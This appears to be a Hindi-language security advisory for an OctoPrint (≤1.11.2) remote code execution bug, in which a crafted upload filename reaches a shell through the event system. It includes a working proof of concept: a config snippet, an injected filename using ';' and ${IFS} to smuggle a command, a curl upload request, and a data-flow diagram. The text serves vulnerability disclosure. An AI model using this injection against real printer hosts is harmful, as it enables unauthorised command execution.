
OctoPrint संस्करण <=1.11.2 में, फ़ाइल अपलोड पहुंच रखने वाला हमलावर (जैसे, वैध API कुंजी या सत्र) एक दुर्भावनापूर्ण फ़ाइलनाम बना सकता है जो सैनिटाइज़ेशन को बायपास करता है और बाद में OctoPrint की इवेंट प्रणाली द्वारा निष्पादित किया जाता है, जिससे होस्ट पर रिमोट कोड निष्पादन (RCE) होता है।
OctoPrint संस्करण <=1.11.2 में, फ़ाइल अपलोड एक्सेस (जैसे, मान्य API कुंजी या सत्र) वाला हमलावर एक दुर्भावनापूर्ण फ़ाइलनाम तैयार कर सकता है जो सैनिटाइज़ेशन को बायपास करता है और बाद में OctoPrint की इवेंट प्रणाली द्वारा निष्पादित किया जाता है, जिससे होस्ट पर रिमोट कोड निष्पादन (RCE) होता है
नवीनतम स्थिर रिलीज़ डाउनलोड की गई: OctoPrint 1.11.2
octoprint serve --port 5000 --debug
उपरोक्त चरण पूरे हो जाने पर OctoPrint सेवा को रोक दें।
OctoPrint इवेंट दस्तावेज़ीकरण के अनुसार:
~/.octoprint/config.yaml संपादित करें:
events:
enabled: true
subscriptions:
- event: FileAdded
type: system
debug: true
command: "{path}"

/tmp/gcode/ok.gcode बनाएँ:
; minimal gcode
G28
M105
OctoPrint सेवा पुनः प्रारंभ करें।
export API_KEY='<key previously gathered from webUI>'
ls -la /tmp/test123
INJECT_NAME='octo;touch${IFS}/tmp/test123;#.gcode'स्पष्टीकरण: ${IFS} शेल का आंतरिक क्षेत्र विभाजक (Internal Field Separator) है (सामान्यतः एक स्पेस)। इंजेक्ट होने पर यह सैनिटाइज़ेशन को बायपास करता है।
curl -sS -X POST -H "X-Api-Key: $API_KEY" \
-F "file=@/tmp/gcode/ok.gcode;filename=\"${INJECT_NAME}\"" \
"http://127.0.0.1:5000/api/files/local"
ls -la /tmp/test123

यदि /tmp/test123 मौजूद है, तो इंजेक्ट किया गया कमांड सफलतापूर्वक निष्पादित हुआ → RCE की पुष्टि।
[User upload with crafted filename]
│
▼
server/api/files.py → accepts raw filename (metacharacters survive sanitize_name)
│
▼
events.py (EventManager.fire "FileAdded") → payload {path} includes raw chars
│
▼
system command subscriber → subprocess.check_call(..., shell=True)
│
▼
[Injected shell metacharacters execute as OS commands]
जब कोई फ़ाइल अपलोड की जाती है:
;, ${IFS}, आदि सहित) एक शेल में पास किया जाता है।